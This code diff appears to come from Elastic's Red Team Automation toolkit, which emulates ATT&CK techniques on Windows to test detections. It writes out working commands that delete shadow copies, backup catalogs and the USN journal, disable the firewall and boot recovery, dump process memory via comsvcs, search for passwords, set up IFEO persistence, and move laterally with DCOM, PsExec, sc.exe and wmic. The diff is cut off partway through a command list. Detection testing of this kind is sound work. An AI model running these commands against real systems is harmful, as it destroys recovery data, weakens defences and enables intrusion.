+ with open(file_name, 'wb' if isinstance(contents, bytes) else 'w') as f:
+ f.write(contents)
+
+ f = open(file_name, 'rb' if isinstance(contents, bytes) else 'r')
+
+ def close():
+ f.close()
+ os.remove(file_name)
+
+ return f, close
+
+
+def execute(command, hide_log=False, mute=False, timeout=30, wait=True, kill=False, drop=False, stdin=None,
+ shell=False, **kwargs):
+ """Execute a process and get the output."""
+ command_string = command
+ close = None
+
+ if isinstance(command, (list, tuple)):
+ command = [to_unicode(arg) for arg in command]
+ command_string = subprocess.list2cmdline(command)
+
+ if shell:
+ command = command_string
+ else:
+ sys.stderr.write("Deprecation warning! Switch arguments to a list for common.execute()\n\n")
+
+ if not hide_log:
+ print("%s @ %s > %s" % (USER_NAME, HOSTNAME, command_string))
+
+ if isinstance(stdin, (bytes, str, type(u""))):
+ stdin, close = temporary_file_helper(stdin)
+
+ stdout = subprocess.PIPE
+ stderr = subprocess.STDOUT
+
+ if drop or kill:
+ devnull = open(os.devnull, "w")
+ stdout = devnull
+ stderr = devnull
+
+ start = time.time()
+
+ p = subprocess.Popen(command, stdin=stdin or subprocess.PIPE, stdout=stdout, stderr=stderr, shell=shell, **kwargs)
+
+ if kill:
+ delta = 0.5
+ # Try waiting for the process to die
+ for _ in range(int(timeout / delta) + 1):
+ time.sleep(delta)
+ if p.poll() is not None:
+ return
+
+ log("Killing process", str(p.pid))
+ try:
+ p.kill()
+ time.sleep(0.5)
+ except OSError:
+ pass
+ elif wait:
+ output = ''
+
+ if not stdin:
+ try:
+ p.stdin.write(os.linesep.encode('ascii'))
+ except IOError:
+ # this pipe randomly breaks when executing certain non-zero exit commands on linux
+ pass
+
+ while p.poll() is None:
+ line = p.stdout.readline().decode('ascii', 'ignore')
+ if line:
+ output += line
+ if not (hide_log or mute):
+ print(line.rstrip())
+
+ output += p.stdout.read().decode('ascii', 'ignore')
+ output = output.strip()
+
+ # Add artificial sleep to slow down command lines
+ end = time.time()
+ run_time = end - start
+ if run_time < MIN_EXECUTION_TIME:
+ time.sleep(MIN_EXECUTION_TIME - run_time)
+
+ if not (hide_log or mute):
+ if p.returncode != 0:
+ print("exit code = %d" % p.returncode)
+ print("")
+
+ if close:
+ close()
+
+ return p.returncode, output
+ else:
+ if close:
+ close()
+
+ return p
+
+
+def log(message, log_type='+'):
+ print('[%s] %s' % (log_type, message))
+
+
+def copy_file(source, target):
+ log('Copying %s -> %s' % (source, target))
+ shutil.copy(source, target)
+
+
+def link_file(source, target):
+ log('Linking %s -> %s' % (source, target))
+ execute(["ln", "-s", source, target])
+
+
+def remove_file(path):
+ if os.path.exists(path):
+ log('Removing %s' % path, log_type='-')
+ # Try three times to remove the file
+ for _ in range(3):
+ try:
+ os.remove(path)
+ except OSError:
+ time.sleep(0.25)
+ else:
+ return
+
+
+def remove_directory(path):
+ if os.path.exists(path):
+ if os.path.isdir(path):
+ log('Removing directory {:s}'.format(path), log_type='-')
+ shutil.rmtree(path)
+ else:
+ remove_file(path)
+
+
+def is_64bit():
+ return os.environ.get('PROCESSOR_ARCHITECTURE', "") in ('x64', 'AMD64')
+
+
+def remove_files(*paths):
+ for path in paths:
+ remove_file(path)
+
+
+def clear_web_cache():
+ log("Clearing temporary files", log_type="-")
+ execute(["RunDll32.exe", "InetCpl.cpl,", "ClearMyTracksByProcess", "8"], hide_log=True)
+ time.sleep(1)
+
+
+def serve_web(ip=None, port=None, directory=BASE_DIR):
+ handler = SimpleHTTPRequestHandler
+
+ ip = ip or get_ip()
+
+ if port is not None:
+ server = TCPServer((ip, port), handler)
+ else:
+ # Otherwise, try to find a port
+ for port in range(8000, 9000):
+ try:
+ server = TCPServer((ip, port), handler)
+ break
+ except socket.error:
+ pass
+
+ def server_thread():
+ log("Starting web server on http://{ip}:{port:d} for directory {dir}".format(ip=ip, port=port, dir=directory))
+ os.chdir(directory)
+ server.serve_forever()
+
+ # Start this thread in the background
+ thread = threading.Thread(target=server_thread)
+ thread.setDaemon(True)
+ thread.start()
+
+ time.sleep(0.5)
+ return server, ip, port
+
+
+def patch_file(source_file, old_bytes, new_bytes, target_file=None):
+ target_file = target_file or target_file
+ log("Patching bytes %s [%s] --> %s [%s]" % (source_file, binascii.b2a_hex(old_bytes),
+ target_file, binascii.b2a_hex(new_bytes)))
+
+ with open(source_file, "rb") as f:
+ contents = f.read()
+
+ patched = contents.replace(old_bytes, new_bytes)
+
+ with open(target_file, "wb") as f:
+ f.write(patched)
+
+
+def patch_regex(source_file, regex, new_bytes, target_file=None):
+ regex = regex.encode('ascii')
+ new_bytes = new_bytes.encode('ascii')
+ target_file = target_file or source_file
+ log("Patching by regex %s --> %s" % (source_file, target_file))
+
+ with open(source_file, "rb") as f:
+ contents = f.read()
+
+ matches = re.findall(regex, contents)
+
+ log("Changing %s -> %s" % (', '.join('{}'.format(m) for m in matches), new_bytes))
+ contents = re.sub(regex, new_bytes, contents)
+
+ with open(target_file, "wb") as f:
+ f.write(contents)
+
+
+def wchar(s):
+ return s.encode('utf-16le')
+
+
+def find_remote_host():
+ log("Searching for remote Windows hosts")
+ _, stdout = execute("net view", hide_log=True)
+ hosts = re.findall(r"\\\\([\w\d\._-]+)", stdout)
+
+ # _, current_user = execute("whoami", hide_log=True)
+ pending = {}
+
+ log("Discovery %d possible hosts" % len(hosts))
+ for name in hosts[:MAX_HOSTS]:
+ name = name.lower()
+ if name.split('.')[0] == HOSTNAME.split('.')[0]:
+ continue
+
+ # log("Checking if %s has remote admin permissions to %s" % (current_user, name))
+ dev_null = open(os.devnull, "w")
+ p = subprocess.Popen('sc.exe \\\\%s query' % name,
+ stdout=dev_null,
+ stderr=dev_null,
+ stdin=subprocess.PIPE)
+ pending[name] = p
+
+ if len(pending) > 0:
+ # See which ones return first with a success code, and use that host
+ for _ in range(20):
+ for hostname, pending_process in sorted(pending.items()):
+ if pending_process.poll() is None:
+ pending_process.stdin.write(os.linesep)
+ if pending_process.returncode == 0:
+ # Now need to get the IP address
+ ip = get_ipv4_address(hostname)
+ if ip is not None:
+ log('Using remote host %s (%s)' % (ip, hostname))
+ return ip
+ pending.pop(hostname)
+ time.sleep(0.5)
+
+ log("Unable to find a remote host to pivot to. Using local host %s" % HOSTNAME, log_type="!")
+ return get_ip()
+
+
+def get_ipv4_address(hostname):
+ if re.match(IP_REGEX, hostname):
+ return hostname
+
+ code, output = execute(["ping", hostname, "-4", "-n", 1], hide_log=True)
+ if code != 0:
+ return None
+
+ addresses = re.findall(IP_REGEX, output)
+ if len(addresses) == 0:
+ return None
+ return addresses[0]
+
+
+def find_writeable_directory(base_dir):
+ for root, dirs, files in os.walk(base_dir):
+ for d in dirs:
+ subdir = os.path.join(base_dir, d)
+ try:
+ test_file = os.path.join(subdir, "test_file")
+ f = open(test_file, "w")
+ f.close()
+ os.remove(test_file)
+ return subdir
+ except IOError:
+ pass
+
+
+def check_system():
+ return USER_NAME == "system" or USER_NAME.endswith("$")
+
+
+PS_EXEC = get_path("bin", "PsExec.exe")
+
+
+def run_system(arguments=None):
+ if check_system():
+ return None
+
+ if arguments is None:
+ arguments = [sys.executable, os.path.abspath(sys.argv[0])] + sys.argv[1:]
+
+ log("Attempting to elevate to SYSTEM using PsExec")
+ if not os.path.exists(PS_EXEC):
+ log("PsExec not found", log_type="-")
+ return MISSING_PSEXEC
+
+ p = subprocess.Popen([PS_EXEC, "-w", os.getcwd(), "-accepteula", "-s"] + arguments)
+ p.wait()
+ code = p.returncode
+ if code == ACCESS_DENIED:
+ log("Failed to escalate to SYSTEM", "!")
+ return code
+
+
+def write_reg(hive, key, value, data, data_type=None, restore=True, pause=False, append=False):
+ # type: (str, str, str, str|int, str|int|list, bool, bool, bool) -> None
+ with temporary_reg(hive, key, value, data, data_type, restore, pause, append):
+ pass
+
+
+def read_reg(hive, key, value): # type: (str, str, str) -> (str, str)
+ winreg = get_winreg()
+
+ if isinstance(hive, strings):
+ hives = {'hklm': winreg.HKEY_LOCAL_MACHINE,
+ 'hkcu': winreg.HKEY_LOCAL_MACHINE,
+ 'hku': winreg.HKEY_USERS,
+ 'hkcr': winreg.HKEY_CLASSES_ROOT}
+ hive = hives[hive.lower()]
+
+ try:
+ hkey = winreg.CreateKey(hive, key.rstrip("\\"))
+ old_data, old_type = winreg.QueryValueEx(hkey, value)
+ except WindowsError as e:
+ # check if the key already exists
+ if e.errno != 2:
+ raise
+
+ return None, None
+
+ return old_data, old_type
+
+
+@contextlib.contextmanager
+def temporary_reg(hive, key, value, data, data_type="sz", restore=True, pause=False, append=False):
+ # type: (str, str, str, str|int, str|int|list, bool, bool, bool) -> None
+ winreg = get_winreg()
+
+ if isinstance(hive, strings):
+ hives = {'hklm': winreg.HKEY_LOCAL_MACHINE,
+ 'hkcu': winreg.HKEY_CURRENT_USER,
+ 'hku': winreg.HKEY_USERS,
+ 'hkcr': winreg.HKEY_CLASSES_ROOT}
+ hive = hives[hive.lower()]
+
+ if isinstance(data_type, strings):
+ attr = 'REG_' + data_type.upper()
+ data_type = getattr(winreg, attr)
+
+ if data_type is None:
+ data_type = winreg.REG_SZ
+
+ key = key.rstrip('\\')
+ hkey = winreg.CreateKey(hive, key)
+ exists = False
+ old_data = None
+ old_type = None
+
+ if hkey:
+ try:
+ old_data, old_type = winreg.QueryValueEx(hkey, value)
+ exists = True
+ except WindowsError as e:
+ # check if the key already exists
+ exists = False
+ old_data, old_type = None, None
+ if e.errno != 2:
+ raise
+
+ if append and exists:
+ # If appending to the existing REG_MULTI_SZ key, then append to the end
+ if not isinstance(data, list):
+ data = [data]
+
+ if isinstance(old_data, list):
+ data = old_data + data
+
+ data_string = ','.join(data) if isinstance(data, list) else data
+ log("Writing to registry %s\\%s -> %s" % (key, value, data_string))
+ winreg.SetValueEx(hkey, value, 0, data_type, data)
+ stored, code = winreg.QueryValueEx(hkey, value)
+
+ if data != stored:
+ log("Wrote %s but retrieved %s" % (data, stored), log_type="-")
+
+ # Allow code to execute within the context manager 'with'
+ try:
+ yield
+
+ finally:
+ if restore:
+ time.sleep(0.5)
+
+ if not exists:
+ # If it didn't already exist, then delete it
+ log("Deleting %s\\%s" % (key, value), log_type="-")
+ winreg.DeleteValue(hkey, value)
+ else:
+ # Otherwise restore the value
+ data_string = ','.join(old_data) if isinstance(old_data, list) else old_data
+ log("Restoring registry %s\\%s -> %s" % (key, value, data_string), log_type="-")
+ winreg.SetValueEx(hkey, value, 0, old_type, old_data)
+
+ hkey.Close()
+ print("")
+
+ if pause:
+ time.sleep(0.5)
+
+
+def enable_logon_auditing(host='localhost', verbose=True, sleep=2):
+ """Enable logon auditing on local or remote system to enable 4624 and 4625 events."""
+ if verbose:
+ log('Ensuring audit logging enabled on {}'.format(host))
+
+ auditpol = 'auditpol.exe /set /subcategory:Logon /failure:enable /success:enable'
+ enable_logging = "Invoke-WmiMethod -ComputerName {} -Class Win32_process -Name create -ArgumentList '{}'".format(
+ host, auditpol)
+ command = ['powershell', '-c', enable_logging]
+ enable = execute(command)
+
+ # additional time to allow auditing to process
+ time.sleep(sleep)
+ return enable
+
+
+def print_file(path):
+ print(path)
+ if not os.path.exists(path):
+ print('--- NOT FOUND ----')
+ else:
+ print('-' * 16)
+ with open(path, 'r') as f:
+ print(f.read().rstrip())
+
+ print('')
diff --git a/rta/comsvcs_dump.py b/rta/comsvcs_dump.py
new file mode 100644
index 000000000..b14903cbd
--- /dev/null
+++ b/rta/comsvcs_dump.py
@@ -0,0 +1,27 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Memory Dump via Comsvcs
+# RTA: comsvcs_dump.py
+# ATT&CK: T1117
+# Description: Invokes comsvcs.dll with rundll32.exe to mimic creating a process MiniDump.
+
+import os
+import time
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Memory Dump via Comsvcs")
+ pid = os.getpid()
+ common.execute(["powershell.exe", "-c", "rundll32.exe", "C:\\Windows\\System32\\comsvcs.dll",
+ "MiniDump", "{} dump.bin full".format(pid)])
+ time.sleep(1)
+ common.remove_file("dump.bin")
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/dcom_lateral_movement_with_mmc.py b/rta/dcom_lateral_movement_with_mmc.py
new file mode 100644
index 000000000..4ebdf5931
--- /dev/null
+++ b/rta/dcom_lateral_movement_with_mmc.py
@@ -0,0 +1,40 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: DCOM Lateral Movement with MMC
+# RTA: dcom_lateral_movement_with_mmc.py
+# ATT&CK: T1175
+# Description: Execute a command to simulate lateral movement using Distributed Component Object Model (DCOM) with MMC
+
+import sys
+
+from . import common
+
+
+@common.requires_os("windows")
+def main(remote_host=None):
+ remote_host = remote_host or common.get_ip()
+ common.log("DCOM Lateral Movement with MMC")
+
+ common.log("Attempting to move laterally to {}".format(remote_host))
+ remote_host = common.get_ipv4_address(remote_host)
+ common.log("Using IP address {}".format(remote_host))
+
+ # Prepare PowerShell command for DCOM lateral movement
+
+ ps_command = """
+ $dcom=[activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','{remote_host}'));
+ $dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\cmd.exe',$null,'whoami','7');
+ $dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\calc.exe',$null,$null,'7');
+ $dcom.quit();
+ """.format(remote_host=remote_host)
+
+ command = ["powershell", "-c", ps_command]
+
+ # Execute command
+ common.execute(command, timeout=15, kill=True)
+
+
+if __name__ == "__main__":
+ exit(main(*sys.argv[1:]))
diff --git a/rta/delete_bootconf.py b/rta/delete_bootconf.py
new file mode 100644
index 000000000..77686d899
--- /dev/null
+++ b/rta/delete_bootconf.py
@@ -0,0 +1,35 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Boot Config Deletion With bcdedit
+# RTA: delete_bootconf.py
+# ATT&CK: T1107
+# Description: Uses bcdedit.exe to backup the current boot configuration, and then to delete the current boot
+# configuration, finally restoring the original.
+
+import os
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ # Messing with the boot configuration is probably not a great idea so create a backup:
+ common.log("Exporting the boot configuration....")
+ bcdedit = "bcdedit.exe"
+ backup_file = os.path.abspath("boot.cfg")
+ common.execute(["bcdedit.exe", "/export", backup_file])
+
+ # WARNING: this is a destructive command which might be super bad to run
+ common.log("Changing boot configuration", log_type="!")
+ common.execute([bcdedit, "/set", "{current}", "bootstatuspolicy", "ignoreallfailures"])
+ common.execute([bcdedit, "/set", "{current}", "recoveryenabled", "no"])
+
+ # Restore the boot configuration
+ common.log("Restoring boot configuration from %s" % backup_file, log_type="-")
+ common.execute([bcdedit, "/import", backup_file])
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/delete_catalogs.py b/rta/delete_catalogs.py
new file mode 100644
index 000000000..4fac92e73
--- /dev/null
+++ b/rta/delete_catalogs.py
@@ -0,0 +1,25 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Catalog Deletion with wbadmin.exe
+# RTA: delete_catalogs.py
+# ATT&CK: T1107
+# Description: Uses wbadmin to delete the backup catalog.
+
+import time
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ warning = "Deleting the backup catalog may have unexpected consequences. Operational issues are unknown."
+ common.log("WARNING: %s" % warning, log_type="!")
+ time.sleep(2.5)
+
+ common.execute(["wbadmin", "delete", "catalog", "-quiet"])
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/delete_usnjrnl.py b/rta/delete_usnjrnl.py
new file mode 100644
index 000000000..ab45b7f45
--- /dev/null
+++ b/rta/delete_usnjrnl.py
@@ -0,0 +1,24 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: USN Journal Deletion with fsutil.exe
+# RTA: delete_usnjrnl.py
+# ATT&CK: T1107
+# Description: Uses fsutil to delete the USN journal.
+
+import time
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ message = "Deleting the USN journal may have unintended consequences"
+ common.log("WARNING: %s" % message, log_type="!")
+ time.sleep(2.5)
+ common.execute(["fsutil", "usn", "deletejournal", "/d", "C:"])
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/delete_volume_shadows.py b/rta/delete_volume_shadows.py
new file mode 100644
index 000000000..8d39b65d5
--- /dev/null
+++ b/rta/delete_volume_shadows.py
@@ -0,0 +1,23 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Volume Shadow Copy Deletion with vssadmin and wmic
+# RTA: delete_volume_shadow.py
+# ATT&CK: T1107
+# Description: Uses both vssadmin.exe and wmic.exe to delete volumne shadow copies.
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Deleting volume shadow copies...")
+ common.execute(["vssadmin.exe", "delete", "shadows", "/for=c:", "/oldest", "/quiet"])
+ # Create a volume shadow copy so that there is at least one to delete
+ common.execute(["wmic.exe", "shadowcopy", "call", "create", "volume=c:\\"])
+ common.execute(["wmic.exe", "shadowcopy", "delete", "/nointeractive"])
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/disable_windows_fw.py b/rta/disable_windows_fw.py
new file mode 100644
index 000000000..162d6214b
--- /dev/null
+++ b/rta/disable_windows_fw.py
@@ -0,0 +1,38 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Disable Windows Firewall
+# RTA: disable_windows_fw.py
+# ATT&CK: T1089
+# Description: Uses netsh.exe to backup, disable and restore firewall rules.
+
+import os
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("NetSH Advanced Firewall Configuration", log_type="~")
+ netsh = "netsh.exe"
+
+ rules_file = os.path.abspath("fw.rules")
+
+ # Check to be sure that fw.rules does not already exist from previously running this script
+ common.remove_file(rules_file)
+
+ common.log("Backing up rules")
+ common.execute([netsh, "advfirewall", "export", rules_file])
+
+ common.log("Disabling the firewall")
+ common.execute([netsh, "advfirewall", "set", "allprofiles", "state", "off"])
+
+ common.log("Undoing the firewall change", log_type="-")
+ common.execute([netsh, "advfirewall", "import", rules_file])
+
+ common.remove_file(rules_file)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/enum_commands.py b/rta/enum_commands.py
new file mode 100644
index 000000000..21127d36f
--- /dev/null
+++ b/rta/enum_commands.py
@@ -0,0 +1,73 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Common Enumeration Commands
+# RTA: enum_commands.py
+# ATT&CK: T1007, T1016, T1018, T1035, T1049, T1057, T1063, T1069, T1077, T1082, T1087, T1124, T1135
+# Description: Executes a list of administration tools commonly used by attackers for enumeration.
+
+import argparse
+import random
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main(args=None):
+ slow_commands = [
+ "gpresult.exe /z",
+ "systeminfo.exe"
+ ]
+
+ commands = [
+ "ipconfig /all",
+ "net localgroup administrators",
+ "net user",
+ "net user administrator",
+ "net user /domain"
+ "tasklist",
+ "net view",
+ "net view /domain",
+ "net view \\\\%s" % common.get_ip(),
+ "netstat -nao",
+ "whoami",
+ "hostname",
+ "net start",
+ "tasklist /svc",
+ "net time \\\\%s" % common.get_ip(),
+ "net use",
+ "net view",
+ "net start",
+ "net accounts",
+ "net localgroup",
+ "net group",
+ "net group \"Domain Admins\" /domain",
+ "net share",
+ "net config workstation",
+ ]
+
+ commands.extend(slow_commands)
+
+ parser = argparse.ArgumentParser()
+ parser.add_argument('-s', '--sample', dest="sample", default=len(commands), type=int,
+ help="Number of commands to run, choosen at random from the list of enumeration commands")
+ args = parser.parse_args(args)
+ sample = min(len(commands), args.sample)
+
+ if sample < len(commands):
+ random.shuffle(commands)
+
+ common.log("Running {} out of {} enumeration commands\n".format(sample, len(commands)))
+ for command in commands[0:sample]:
+
+ common.log("About to call {}".format(command))
+ if command in slow_commands:
+ common.execute(command, kill=True, timeout=15)
+ common.log("[output surpressed]", log_type='-')
+ else:
+ common.execute(command)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/findstr_pw_search.py b/rta/findstr_pw_search.py
new file mode 100644
index 000000000..a2137a01c
--- /dev/null
+++ b/rta/findstr_pw_search.py
@@ -0,0 +1,21 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Recursive Password Search
+# RTA: findstr_pw_search.py
+# ATT&CK: T1081
+# Description: Recursively searches files looking for the string "password".
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ path = "c:\\rta"
+ common.log("Searching for passwords on %s" % path)
+ common.execute(["dir", path, "/s", "/b", "|", "findstr", "password"], shell=True, timeout=15)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/globalflags.py b/rta/globalflags.py
new file mode 100644
index 000000000..639d5ae5a
--- /dev/null
+++ b/rta/globalflags.py
@@ -0,0 +1,30 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Persistence using GlobalFlags
+# RTA: globalflags.py
+# ATT&CK: T1183
+# Description: Uses GlobalFlags option in Image File Execution Options to silently execute calc.exe after the monitored
+# process (notepad.exe) is closed.
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Setting up persistence using Globalflags")
+ ifeo_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\netstat.exe"
+ spe_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\netstat.exe"
+
+ with common.temporary_reg(common.HKLM, ifeo_subkey, "GlobalFlag", 512, common.DWORD), \
+ common.temporary_reg(common.HKLM, spe_subkey, "ReportingMode", 1, common.DWORD), \
+ common.temporary_reg(common.HKLM, spe_subkey, "MonitorProcess", "C:\\Windows\\system32\\whoami.exe"):
+
+ common.log("Opening and closing netstat")
+ common.execute(["whoami"], shell=True)
+ common.execute(['taskkill', '/F', '/IM', 'netstat.exe'])
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/installutil_network.py b/rta/installutil_network.py
new file mode 100644
index 000000000..daf7c1751
--- /dev/null
+++ b/rta/installutil_network.py
@@ -0,0 +1,55 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Network Traffic from InstallUtil
+# RTA: installutil_network.py
+# ATT&CK: T1118
+# Description: Uses mock .NET malware and InstallUtil to create network activity from InstallUtil.
+
+import os
+import sys
+
+from . import common
+
+MY_DOT_NET = common.get_path("bin", "mydotnet.exe")
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(MY_DOT_NET)
+def main():
+ server, ip, port = common.serve_web()
+ common.clear_web_cache()
+
+ target_app = "mydotnet.exe"
+ common.patch_file(MY_DOT_NET, common.wchar(":8000"), common.wchar(":%d" % port), target_file=target_app)
+
+ install_util64 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe"
+ install_util86 = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe"
+ fallback = False
+
+ if os.path.exists(install_util64):
+ install_util = install_util64
+ elif os.path.exists(install_util86):
+ install_util = install_util86
+ else:
+ install_util = None
+ fallback = True
+
+ if not fallback:
+ common.clear_web_cache()
+ common.execute([install_util, '/logfile=', '/LogToConsole=False', '/U', target_app])
+
+ else:
+ common.log("Unable to find InstallUtil, creating temp file")
+ install_util = os.path.abspath("InstallUtil.exe")
+ common.copy_file(sys.executable, install_util)
+ common.execute([install_util, "-c", "import urllib; urllib.urlopen('http://%s:%d')" % (common.get_ip(), port)])
+ common.remove_file(install_util)
+
+ common.remove_file(target_app)
+ server.shutdown()
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/iqy_file_writes.py b/rta/iqy_file_writes.py
new file mode 100644
index 000000000..7860b0d1b
--- /dev/null
+++ b/rta/iqy_file_writes.py
@@ -0,0 +1,54 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Suspicious IQY/PUB File Writes
+# RTA: iqy_file_writes.py
+# ATT&CK: T1140, T1192, T1193
+# Description: Generates four file writes related to file extensions (PUB, IQY)
+
+import os
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Suspicious File Writes (IQY, PUB)")
+ adobe_path = os.path.abspath("AcroRd32.exe")
+ msoffice_path = os.path.abspath("winword.exe")
+ browser_path = os.path.abspath("iexplore.exe")
+ common.copy_file(common.CMD_PATH, adobe_path)
+ common.copy_file(common.CMD_PATH, msoffice_path)
+ common.copy_file(common.CMD_PATH, browser_path)
+ common.log("Writing files")
+
+ # write file as adobe, then run it
+ common.log("Creating a 'suspicious' executable")
+ bad_path = os.path.abspath("bad.exe")
+
+ # PDF writing IQY file
+ fake_iqy = os.path.abspath("test.iqy")
+ common.execute([adobe_path, "/c", "echo", "test", ">", fake_iqy])
+
+ # PDF writing PUB file
+ fake_pub = os.path.abspath("test.pub")
+ common.execute([adobe_path, "/c", "echo", "test", ">", fake_pub])
+
+ # Winword writing IQY file
+ fake_doc_iqy = os.path.abspath("test_word.iqy")
+ common.execute([msoffice_path, "/c", "echo", "test", ">", fake_doc_iqy])
+
+ # Brwoser writing IQY file
+ fake_browser_iqy = os.path.abspath("test_browser.iqy")
+ common.execute([browser_path, "/c", "echo", "test", ">", fake_browser_iqy])
+
+ # cleanup
+ common.remove_files(adobe_path, bad_path, fake_iqy)
+ common.remove_files(adobe_path, bad_path, fake_pub)
+ common.remove_files(msoffice_path, bad_path, fake_doc_iqy)
+ common.remove_files(browser_path, bad_path, fake_browser_iqy)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/lateral_command_psexec.py b/rta/lateral_command_psexec.py
new file mode 100755
index 000000000..f03ddbad7
--- /dev/null
+++ b/rta/lateral_command_psexec.py
@@ -0,0 +1,24 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: PsExec Lateral Movement
+# RTA: lateral_command_psexec.py
+# ATT&CK: T1035, T1077
+# Description: Runs PSExec to move laterally
+
+import sys
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(common.PS_EXEC)
+def main(remote_host=None):
+ remote_host = remote_host or common.get_ip()
+ common.log("Performing PsExec to %s" % remote_host)
+ common.execute([common.PS_EXEC, "\\\\%s" % remote_host, "-accepteula", "ipconfig"])
+
+
+if __name__ == "__main__":
+ exit(main(*sys.argv[1:]))
diff --git a/rta/lateral_commands.py b/rta/lateral_commands.py
new file mode 100644
index 000000000..fbbf201f7
--- /dev/null
+++ b/rta/lateral_commands.py
@@ -0,0 +1,83 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Lateral Movement Commands
+# RTA: lateral_commands.py
+# ATT&CK: T1021, T1047, T1077, T1124, T1126
+# Description: Runs various Windows commands typically used by attackers to move laterally from the local machine.
+
+import os
+import re
+import sys
+
+from . import common
+
+MY_APP = common.get_path("bin", "myapp.exe")
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(MY_APP)
+def main(remote_host=None):
+ remote_host = remote_host or common.get_ip()
+ common.log("Attempting to laterally move to %s" % remote_host)
+
+ remote_host = common.get_ipv4_address(remote_host)
+ common.log("Using ip address %s" % remote_host)
+
+ # Put the hostname in quotes for WMIC, but leave it as is
+ if not re.match(common.IP_REGEX, remote_host):
+ wmi_node = '"{}"'.format(remote_host)
+ else:
+ wmi_node = remote_host
+
+ commands = [
+ "sc.exe \\\\{host} create test_service binPath= %s" % MY_APP,
+ "sc.exe \\\\{host} config test_service binPath= c:\\windows\\system32\\ipconfig.exe",
+ "sc.exe \\\\{host} failure test_service command= c:\\windows\\system32\\net.exe",
+ "sc.exe \\\\{host} start test_service",
+ "sc.exe \\\\{host} delete test_service",
+ "wmic.exe /node:{wmi_node} process call create ipconfig.exe",
+ "wmic.exe /node:{wmi_node} path WIN32_USERACCOUNT where(name='vagrant') set passwordexpires='false'",
+ "net.exe time \\\\{host}",
+ "net.exe use \\\\{host}\\admin$",
+ "net.exe use \\\\{host}\\admin$ /delete",
+ "net.exe use \\\\{host}\\c$",
